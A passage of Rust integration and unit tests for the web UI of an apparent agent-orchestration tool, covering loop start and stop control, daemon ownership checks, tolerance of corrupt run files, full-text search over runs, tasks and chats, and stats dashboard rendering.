19565        assert_eq!(view["running"], true);
19566        assert_eq!(
19567            view["owned"], true,
19568            "the loop the UI started is the UI's own to stop: {view}"
19569        );
19570        assert_eq!(
19571            view["merge"],
19572            Value::Null,
19573            "no override was given, so each repository's own config decides"
19574        );
19575
19576        // The same object from the route a waking phone polls first. Two
19577        // surfaces disagreeing about whether anything is running is exactly
19578        // the confusion this UI exists to remove.
19579        let health = f.get("/api/health").await.json();
19580        assert_eq!(health["loop"]["running"], true, "{health}");
19581        assert_eq!(health["loop"]["owned"], true, "{health}");
19582
19583        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19584    }
19585
19586    #[tokio::test]
19587    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
19588        let f = Fixture::start().await;
19589        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19590        assert_eq!(first.status, 200, "{}", first.body);
19591
19592        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19593        assert_eq!(
19594            again.status, 409,
19595            "two loops on one queue race for the same claims: {}",
19596            again.body
19597        );
19598        assert!(
19599            again.json()["error"]
19600                .as_str()
19601                .is_some_and(|e| e.contains("already running the loop")),
19602            "the refusal has to say why: {}",
19603            again.body
19604        );
19605        assert_eq!(
19606            f.get("/api/loop").await.json()["running"],
19607            true,
19608            "and the loop that was already running is untouched by it"
19609        );
19610
19611        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19612    }
19613
19614    #[tokio::test]
19615    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
19616        let f = Fixture::start().await;
19617        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19618
19619        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19620        assert_eq!(
19621            res.status, 200,
19622            "the answer must not wait for the loop: a run in flight is tens of \
19623             minutes and the operator is holding a phone: {}",
19624            res.body
19625        );
19626
19627        let view = settled(&f, |v| v["running"] == false).await;
19628        assert_eq!(view["owned"], false);
19629        assert_eq!(
19630            view["stopping"], false,
19631            "a loop that has stopped is not still stopping: {view}"
19632        );
19633        assert_eq!(
19634            view["last_error"],
19635            Value::Null,
19636            "a loop that was asked to stop did not fail: {view}"
19637        );
19638
19639        // Idempotent, because the operator cannot tell a slow stop from a lost
19640        // one and will press it again.
19641        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19642        assert_eq!(twice.status, 200, "{}", twice.body);
19643    }
19644
19645    #[tokio::test]
19646    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
19647        let f = Fixture::start().await;
19648        // How the operator has been doing it: a `magi serve` of their own,
19649        // heartbeat fresh, in the same home this UI reads.
19650        write_daemon(f.home.path(), Timestamp::now());
19651
19652        let view = f.get("/api/loop").await.json();
19653        assert_eq!(view["running"], false, "not in this process: {view}");
19654        assert_eq!(view["owned"], false, "and not this process's to control");
19655        assert_eq!(
19656            view["daemon"]["running"], true,
19657            "but a loop is alive somewhere, which is what the UI must say"
19658        );
19659        assert_eq!(view["daemon"]["pid"], 4242);
19660
19661        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
19662            let res = f.post("/api/loop", Some(body)).await;
19663            assert_eq!(
19664                res.status, 409,
19665                "neither button may pretend to work on someone else's loop: {}",
19666                res.body
19667            );
19668            assert!(
19669                res.json()["error"]
19670                    .as_str()
19671                    .is_some_and(|e| e.contains("4242")),
19672                "the refusal has to name the process the operator must go to: {}",
19673                res.body
19674            );
19675        }
19676        assert_eq!(
19677            f.get("/api/loop").await.json()["running"],
19678            false,
19679            "and the refusal started nothing"
19680        );
19681    }
19682
19683    #[tokio::test]
19684    async fn a_stale_status_file_is_not_a_foreign_owner() {
19685        let f = Fixture::start().await;
19686        write_daemon(
19687            f.home.path(),
19688            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19689        );
19690
19691        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19692        assert_eq!(
19693            res.status, 200,
19694            "a daemon killed a minute ago must not lock the loop out of its \
19695             own home for good: {}",
19696            res.body
19697        );
19698        assert_eq!(res.json()["running"], true);
19699
19700        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19701    }
19702
19703    #[tokio::test]
19704    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19705        let f = Fixture::start().await;
19706        let before = f.get("/api/health").await.json()["loop_rev"]
19707            .as_u64()
19708            .expect("a loop revision");
19709
19710        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19711
19712        let after = f.get("/api/health").await.json()["loop_rev"]
19713            .as_u64()
19714            .expect("a loop revision");
19715        assert!(
19716            after > before,
19717            "the loop is in-process state, so this counter is the only thing \
19718             that tells a second device the first one started it: {before} -> \
19719             {after}"
19720        );
19721
19722        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19723    }
19724
19725    #[tokio::test]
19726    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19727        let f = Fixture::with_loop(launch_broken).await;
19728
19729        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19730        assert_eq!(
19731            res.status, 200,
19732            "starting it is not the failure: {}",
19733            res.body
19734        );
19735
19736        let view = settled(&f, |v| v["last_error"].is_string()).await;
19737        assert_eq!(
19738            view["running"], false,
19739            "a loop that died must not read as running, or the operator has \
19740             nothing to press: {view}"
19741        );
19742        assert_eq!(view["owned"], false);
19743        assert!(
19744            view["last_error"]
19745                .as_str()
19746                .is_some_and(|e| e.contains("read-only file system")),
19747            "the phone is where a loop that died at 3am is visible: {view}"
19748        );
19749
19750        // And it can be started again: the corpse was reaped, not left to
19751        // occupy the slot.
19752        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19753        assert_eq!(again.status, 200, "{}", again.body);
19754        assert!(
19755            again.json()["last_error"]
19756                .as_str()
19757                .is_none_or(|e| !e.contains("read-only file system")),
19758            "a fresh start does not keep showing why the last one died: {}",
19759            again.body
19760        );
19761    }
19762
19763    #[tokio::test]
19764    async fn a_newer_daemon_status_file_still_renders() {
19765        let f = Fixture::start().await;
19766        // A field this build has never heard of must not turn the status line
19767        // into a 500; that is the whole reason the reader is permissive.
19768        std::fs::write(
19769            f.home.path().join("daemon.json"),
19770            serde_json::json!({
19771                "schema": 2,
19772                "updated_at": Timestamp::now().to_string(),
19773                "idle": true,
19774                "surprise": { "nested": [1, 2, 3] },
19775            })
19776            .to_string(),
19777        )
19778        .expect("write daemon.json");
19779
19780        let health = f.get("/api/health").await;
19781
19782        assert_eq!(health.status, 200);
19783        assert_eq!(health.json()["daemon"]["running"], true);
19784    }
19785
19786    #[tokio::test]
19787    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19788        let f = Fixture::start().await;
19789        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19790        let broken = f.runs().join("20260902-140502-bad");
19791        std::fs::create_dir_all(&broken).expect("run dir");
19792        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19793
19794        let list = f.get("/api/runs").await;
19795        let detail = f.get("/api/runs/20260902-140502-bad").await;
19796
19797        assert_eq!(list.status, 200);
19798        let listed = list.json();
19799        let ids: Vec<&str> = listed
19800            .as_array()
19801            .expect("an array")
19802            .iter()
19803            .map(|r| r["id"].as_str().expect("an id"))
19804            .collect();
19805        assert_eq!(
19806            ids,
19807            vec!["20260902-140501-good"],
19808            "one unreadable run must not cost the operator the whole history"
19809        );
19810        assert_eq!(detail.status, 500);
19811        assert!(
19812            detail.json()["error"]
19813                .as_str()
19814                .is_some_and(|e| e.contains("run.json")),
19815            "the failure names the file to look at: {}",
19816            detail.body
19817        );
19818        // A skipped run has to be countable somewhere, or the UI shows an
19819        // empty history with nothing to explain it - which is exactly what a
19820        // directory full of older-schema runs looks like.
19821        let health = f.get("/api/health").await;
19822        assert_eq!(health.json()["runs_unreadable"], 1);
19823    }
19824
19825    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19826    #[tokio::test]
19827    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19828        let f = Fixture::start().await;
19829        let runs = f.runs();
19830        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19831        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19832        // Text three levels down, in a shape no current RunState has: an older
19833        // schema must still search.
19834        let path = runs.join("20260902-140502-bbbb").join("run.json");
19835        let mut v: serde_json::Value =
19836            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19837        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19838        std::fs::write(&path, v.to_string()).unwrap();
19839        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19840        std::fs::write(
19841            runs.join("20260902-140503-cccc").join("run.json"),
19842            "{ not json",
19843        )
19844        .unwrap();
19845
19846        let res = f.get("/api/search?scope=runs&q=quokka").await;
19847        assert_eq!(res.status, 200, "{}", res.body);
19848        let v = res.json();
19849        assert_eq!(v["total"], 1, "{v}");
19850        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19851        assert_eq!(v["hits"][0]["field"], "text");
19852        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19853        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19854        assert!(
19855            parts
19856                .iter()
19857                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19858            "{v}"
19859        );
19860        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19861        assert_eq!(
19862            flat, "The Quokka leaks across threads",
19863            "whitespace is collapsed"
19864        );
19865
19866        // Terms are ANDed, across different fields, case-insensitively.
19867        let both = f
19868            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19869            .await
19870            .json();
19871        assert_eq!(both["total"], 1, "{both}");
19872        let neither = f
19873            .get("/api/search?scope=runs&q=quokka%20zebra")
19874            .await
19875            .json();
19876        assert_eq!(neither["total"], 0, "{neither}");
19877        // Everything in the task statement is reachable, not only the row text.
19878        let stmt = f
19879            .get("/api/search?scope=runs&q=mobile%20first")
19880            .await
19881            .json();
19882        assert_eq!(stmt["total"], 2, "{stmt}");
19883        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19884        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19885    }
19886
19887    #[test]
19888    fn snippet_ignores_terms_longer_than_the_field() {
19889        let terms = ["ok".to_owned(), "elephant".to_owned()];
19890        let parts = snippet_of("ok", &terms);
19891        assert_eq!(
19892            parts,
19893            vec![SnippetPart {
19894                text: "ok".to_owned(),
19895                hit: true
19896            }]
19897        );
19898    }
19899
19900    #[test]
19901    fn snippet_marks_matches_longer_than_the_window() {
19902        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19903        let hit_len = |parts: &[SnippetPart]| -> usize {
19904            parts
19905                .iter()
19906                .filter(|p| p.hit)
19907                .map(|p| p.text.chars().count())
19908                .sum()
19909        };
19910        let total =
19911            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19912
19913        let long = "a".repeat(120);
19914        let parts = snippet_of(&long, std::slice::from_ref(&long));
19915        assert!(hit_len(&parts) > 0, "{parts:?}");
19916        assert!(total(&parts) <= cap);
19917
19918        let ja = "あ".repeat(130);
19919        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19920        assert!(hit_len(&parts) > 0, "{parts:?}");
19921        assert!(total(&parts) <= cap);
19922
19923        // A short hit, then one straddling the window's end.
19924        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19925        let term = format!("ab{}", "c".repeat(100));
19926        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19927        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19928        assert!(total(&parts) <= cap);
19929
19930        // Only the head matches: not highlighted.
19931        let text = format!("{}z", "a".repeat(119));
19932        let parts = snippet_of(&text, &["a".repeat(120)]);
19933        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19934    }
19935
19936    #[tokio::test]
19937    async fn search_caps_hits_and_snippet_length() {
19938        let f = Fixture::start().await;
19939        let runs = f.runs();
19940        for n in 0..(SEARCH_MAX_HITS + 5) {
19941            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19942        }
19943        let v = f.get("/api/search?scope=runs&q=web").await.json();
19944        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19945        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19946        assert_eq!(v["truncated"], true);
19947        // Every listed run hit carries its list row for the page's filters.
19948        assert!(
19949            v["hits"]
19950                .as_array()
19951                .unwrap()
19952                .iter()
19953                .all(|h| h["run"]["status"] == "merged")
19954        );
19955
19956        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19957        let parts = snippet_of(&long, &["needle".to_owned()]);
19958        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19959        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19960        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19961    }
19962
19963    #[tokio::test]
19964    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19965        let f = Fixture::start().await;
19966        let queue = f.queue();
19967        let mut t = Task::new(
19968            "short title".to_owned(),
19969            "line one\nthe hidden Armadillo detail".to_owned(),
19970            PathBuf::from("/repo/magi"),
19971            Source::Agent {
19972                run: "r1".to_owned(),
19973                node: "chat".to_owned(),
19974            },
19975        );
19976        t.last_error = Some("disk full on /tmp".to_owned());
19977        queue.put(&mut t).expect("file the task");
19978
19979        for (q, want) in [
19980            ("armadillo", 1),
19981            ("disk%20FULL", 1),
19982            ("chat", 1),
19983            ("queued", 1),
19984            ("short%20nothing", 0),
19985        ] {
19986            let v = f
19987                .get(&format!("/api/search?scope=tasks&q={q}"))
19988                .await
19989                .json();
19990            assert_eq!(v["total"], want, "{q}: {v}");
19991        }
19992        for bad in [
19993            "/api/search?scope=tasks&q=",
19994            "/api/search?scope=tasks&q=%20",
19995            "/api/search?scope=chats&q=",
19996            "/api/search?scope=chats&q=%20",
19997            "/api/search?scope=nope&q=a",
19998            "/api/search?q=a",
19999        ] {
20000            assert_eq!(f.get(bad).await.status, 400, "{bad}");
20001        }
20002    }
20003
20004    /// Write one conversation file the way the store reads it back.
20005    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
20006        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
20007            .expect("seat value");
20008        let turns: Vec<serde_json::Value> = turns
20009            .iter()
20010            .map(|(who, body)| {
20011                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
20012            })
20013            .collect();
20014        let doc = serde_json::json!({
20015            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
20016            "status": status, "turns": turns,
20017            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
20018            "seat": seat,
20019        });
20020        let dir = f.home.path().join("talks");
20021        std::fs::create_dir_all(&dir).expect("talks dir");
20022        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
20023    }
20024
20025    #[test]
20026    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
20027        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20028            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20029            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
20030            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
20031            "seat": crate::agent::SeatState::new("talk", "test", 1)
20032        })).unwrap();
20033        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
20034        talk.title = Some(talk::ChatTitle {
20035            text: "最近の話題".into(),
20036            source: talk::TitleSource::Generated,
20037        });
20038        let doc = talk_search_doc(&talk);
20039        assert_eq!(doc["title"], "最近の話題");
20040        assert_eq!(doc["turns"][0]["operator"], "古い話題");
20041        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
20042        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
20043    }
20044
20045    #[test]
20046    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
20047        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
20048        talk.title = Some(talk::ChatTitle {
20049            text: "Saved title".into(),
20050            source: talk::TitleSource::Manual,
20051        });
20052        talk.turns = serde_json::from_value(serde_json::json!([
20053            {
20054                "who": "operator", "sender": "external", "body": "External plain",
20055                "at": "2026-09-08T20:58:02Z"
20056            },
20057            {
20058                "who": "operator", "body": "External message",
20059                "at": "2026-09-08T20:58:03Z",
20060                "messages": [{
20061                    "sender": "external", "body": "External message", "attachments": []
20062                }]
20063            }
20064        ]))
20065        .unwrap();
20066        let doc = talk_search_doc(&talk);
20067        assert_eq!(doc["turns"][0]["external"], "External plain");
20068        assert_eq!(doc["turns"][1]["external"], "External message");
20069        assert!(doc["turns"][0].get("operator").is_none());
20070        assert!(doc["turns"][1].get("operator").is_none());
20071        let hit = search_chat(&search_terms("message"), &talk).unwrap();
20072        assert_eq!(hit.field, "external");
20073        let target = hit.target.unwrap();
20074        assert_eq!((target.turn, target.message), (1, 0));
20075    }
20076
20077    #[test]
20078    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
20079        let talk: Talk = serde_json::from_value(serde_json::json!({
20080            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20081            "status": "open", "title": {"text":"Saved title", "source":"manual"},
20082            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
20083                "messages":[{"body":"First message", "attachments":[], "reply":null},
20084                            {"body":"Search 運用", "attachments":[], "reply":null}]},
20085                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
20086            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
20087            "seat": crate::agent::SeatState::new("talk", "test", 1)
20088        })).unwrap();
20089        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
20090        let target = hit.target.unwrap();
20091        assert_eq!((target.turn, target.message), (0, 1));
20092        assert_eq!(target.text, chat_text_key("Search 運用"));
20093        assert_eq!(
20094            hit.snippet,
20095            snippet_of("Search 運用", &search_terms("運用 Another"))
20096        );
20097        assert!(
20098            search_chat(&search_terms("Saved"), &talk)
20099                .unwrap()
20100                .target
20101                .is_none()
20102        );
20103        assert!(
20104            search_chat(&search_terms("ab12"), &talk)
20105                .unwrap()
20106                .target
20107                .is_none()
20108        );
20109        // All terms may still match across separate display rows.
20110        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
20111        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
20112    }
20113
20114    #[test]
20115    fn chat_search_targets_opener_derived_titles() {
20116        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20117            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20118            "status": "open", "turns": [
20119                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
20120                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
20121                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
20122            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
20123            "seat": crate::agent::SeatState::new("talk", "test", 1)
20124        }))
20125        .unwrap();
20126        let terms = search_terms("運用");
20127        let hit = search_chat(&terms, &talk).unwrap();
20128        assert_eq!(hit.field, "title");
20129        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
20130        let target = hit.target.unwrap();
20131        assert_eq!((target.turn, target.message), (1, 0));
20132        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
20133        // A blank first send can put the opener line in a later display row.
20134        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
20135            {"body":"", "attachments":[], "reply":null},
20136            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
20137        ]))
20138        .unwrap();
20139        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
20140        assert_eq!((target.turn, target.message), (1, 1));
20141        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
20142        talk.title = Some(talk::ChatTitle {
20143            text: "運用について".into(),
20144            source: talk::TitleSource::Manual,
20145        });
20146        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
20147    }
20148
20149    #[tokio::test]
20150    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
20151        let f = Fixture::start().await;
20152        write_talk(
20153            &f,
20154            "20260901-000001-aaaa",
20155            "open",
20156            &[
20157                (
20158                    "operator",
20159                    "\n  Why does the Pangolin cache expire?\nsecond line",
20160                ),
20161                ("agent", "Because the TTL is thirty seconds."),
20162            ],
20163        );
20164        write_talk(
20165            &f,
20166            "20260901-000002-bbbb",
20167            "closed",
20168            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
20169        );
20170        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
20171
20172        let search = |q: &'static str| {
20173            let f = &f;
20174            async move {
20175                f.get(&format!("/api/search?scope=chats&q={q}"))
20176                    .await
20177                    .json()
20178            }
20179        };
20180
20181        let v = search("PANGOLIN").await;
20182        assert_eq!(v["scope"], "chats");
20183        assert_eq!(v["total"], 1, "{v}");
20184        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
20185        assert_eq!(v["hits"][0]["field"], "title");
20186        assert_eq!(v["unreadable"], 1, "{v}");
20187        let marked: Vec<&str> = v["hits"][0]["snippet"]
20188            .as_array()
20189            .unwrap()
20190            .iter()
20191            .filter(|p| p["hit"] == true)
20192            .map(|p| p["text"].as_str().unwrap())
20193            .collect();
20194        assert_eq!(marked, ["Pangolin"]);
20195
20196        // An agent turn, in a closed conversation.
20197        let v = search("zebra").await;
20198        assert_eq!(v["total"], 1, "{v}");
20199        assert_eq!(v["hits"][0]["field"], "agent");
20200        // Words may sit in different turns; all must be present.
20201        assert_eq!(search("pangolin%20thirty").await["total"], 1);
20202        assert_eq!(search("pangolin%20zebra").await["total"], 0);
20203        // Bookkeeping is not searched.
20204        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
20205            assert_eq!(search(q).await["total"], 0, "{q}");
20206        }
20207        // The first line only is the title; the second line is still a turn.
20208        assert_eq!(search("second").await["hits"][0]["field"], "operator");
20209        // Open conversations are listed before closed ones.
20210        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
20211
20212        let v = f.get("/api/search?scope=nope&q=a").await;
20213        assert_eq!(v.status, 400);
20214        assert!(
20215            v.body.contains("scope must be runs, tasks or chats"),
20216            "{}",
20217            v.body
20218        );
20219    }
20220
20221    #[test]
20222    fn a_question_card_links_a_task_id_to_the_task_page() {
20223        let start = APP_JS
20224            .find("function updateAskCard(")
20225            .expect("updateAskCard exists");
20226        let body = &APP_JS[start..];
20227        let body = &body[..body.find("\n}\n").expect("function end")];
20228        assert!(body.contains("question.run_is_task"));
20229        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
20230        assert!(body.contains("`#/runs/${question.run}`"));
20231        assert!(body.contains("\"task\" : \"run\""));
20232    }
20233
20234    #[test]
20235    fn plain_text_message_surfaces_go_through_linkify() {
20236        assert!(APP_JS.contains("function linkify("));
20237        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
20238        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
20239        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
20240        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
20241        assert!(!APP_JS.contains("innerHTML = text"));
20242    }
20243
20244    #[test]
20245    fn implementation_rate_views_keep_independent_samples() {
20246        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
20247            let a = stats::AgentStats {
20248                competitive_entered: competitive_n,
20249                competitive_wins: usize::from(competitive_n > 0),
20250                solo_entered: solo_n,
20251                solo_adopted: 2 * usize::from(solo_n > 0),
20252                ..Default::default()
20253            };
20254            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
20255            for (key, n, numerator) in [
20256                ("competitive_win_rate", competitive_n, a.competitive_wins),
20257                ("solo_adoption_rate", solo_n, a.solo_adopted),
20258            ] {
20259                if n == 0 {
20260                    assert!(v[key].is_null());
20261                } else {
20262                    assert_eq!(v[key]["denominator"], n);
20263                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
20264                }
20265            }
20266        }
20267        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
20268        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
20269        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
20270        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20271    }
20272
20273    #[test]
20274    fn stats_bars_share_one_id_keyed_plan() {
20275        let start = APP_JS
20276            .find("function statsBarRows(")
20277            .expect("statsBarRows exists");
20278        let body = &APP_JS[start..];
20279        let body = &body[..body.find("\n}\n").expect("function end")];
20280        assert!(body.contains("statsBarPlan(rows)"));
20281        assert!(body.contains("statsAgentTone(row.agent)"));
20282        assert!(!body.contains("candTone(i)"));
20283        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20284        for root in [
20285            "stats-agents-bars",
20286            "stats-solo-bars",
20287            "stats-reviewers-bars",
20288        ] {
20289            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
20290        }
20291    }
20292
20293    #[test]
20294    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
20295        let start = APP_JS
20296            .find("function renderStatsReviewerScatter(")
20297            .expect("renderStatsReviewerScatter exists");
20298        let body = &APP_JS[start..];
20299        let body = &body[..body.find("\n}\n").expect("function end")];
20300        assert!(body.contains("statsScatterPlan(reviewers)"));
20301        assert!(body.contains("statsAgentTone(d.agent)"));
20302        assert!(APP_JS.contains("function statsScatterPlan("));
20303        assert!(
20304            APP_JS.contains("d.submitted < STATS_LOW_N")
20305                || APP_JS.contains("r.submitted < STATS_LOW_N")
20306        );
20307        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
20308        assert!(APP_CSS.contains(".precision-scatter"));
20309    }
20310
20311    #[test]
20312    fn advisor_reflection_is_drawn_as_stacked_segments() {
20313        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
20314        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
20315        let html = include_str!("../assets/ui/index.html");
20316        assert!(html.contains("Approximate"));
20317        for label in ["reflected strongly", "faint", "no proposal"] {
20318            assert!(html.contains(label));
20319        }
20320        let css = include_str!("../assets/ui/app.css");
20321        for c in ["refl-strong", "refl-faint", "refl-absent"] {
20322            assert!(css.contains(&format!(".{c} {{")));
20323        }
20324    }
20325
20326    #[test]
20327    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
20328        assert!(APP_JS.contains("function statsDailyPlan("));
20329        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
20330        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
20331    }
20332
20333    #[test]
20334    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
20335        let start = APP_JS
20336            .find("function scheduleSearch(")
20337            .expect("scheduleSearch exists");
20338        let body = &APP_JS[start..];
20339        let body = &body[..body.find("\n}\n").expect("function end")];
20340        assert!(body.contains("s.seq += 1"));
20341    }
20342
20343    /// The dashboard reads every run's state itself rather than trusting a
20344    /// separately-maintained count, so an unreadable run must be counted the
20345    /// same way `/api/health` counts it - never silently dropped the way the
20346    /// CLI's own `stats::load_all` drops it.
20347    #[tokio::test]
20348    async fn stats_runs_unreadable_matches_health() {
20349        let f = Fixture::start().await;
20350        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
20351        let broken = f.runs().join("20260902-140502-bad");
20352        std::fs::create_dir_all(&broken).expect("run dir");
20353        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
20354
20355        let stats = f.get("/api/stats").await;
20356        let health = f.get("/api/health").await;
20357
20358        assert_eq!(stats.status, 200);
20359        assert_eq!(stats.json()["totals"]["runs"], 1);
20360        assert_eq!(stats.json()["runs_unreadable"], 1);
20361        assert_eq!(
20362            stats.json()["runs_unreadable"],
20363            health.json()["runs_unreadable"],
20364            "the dashboard and /api/health must never disagree about how many \
20365             runs could not be read"
20366        );
20367    }
20368
20369    #[tokio::test]
20370    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
20371        let f = Fixture::start().await;
20372        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20373        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
20374        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
20375
20376        let totals = &f.get("/api/stats").await.json()["totals"];
20377        assert_eq!(totals["runs"], 3);
20378        assert_eq!(totals["merged"], 1);
20379        assert_eq!(totals["stalled"], 1);
20380        assert_eq!(totals["in_progress"], 1);
20381        // A stalled run must never read as blocked/merged/ready - it is its
20382        // own bucket, not folded into a "decided" one.
20383        assert_eq!(totals["blocked"], 0);
20384        assert_eq!(totals["ready"], 0);
20385    }
20386
20387    #[tokio::test]
20388    async fn stats_advisors_report_proposals_and_reflection() {
20389        use crate::advise::{Advice, AdvisorRecord, Reflection};
20390        use crate::verdict::Proposal;
20391
20392        let f = Fixture::start().await;
20393        let mut state = RunState::new(
20394            PathBuf::from("/repo/magi"),
20395            "main".to_owned(),
20396            "0123456789abcdef".to_owned(),
20397            "task".to_owned(),
20398            Config::default(),
20399        );
20400        state.id = "20260902-140501-a".to_owned();
20401        state.status = RunStatus::Merged;
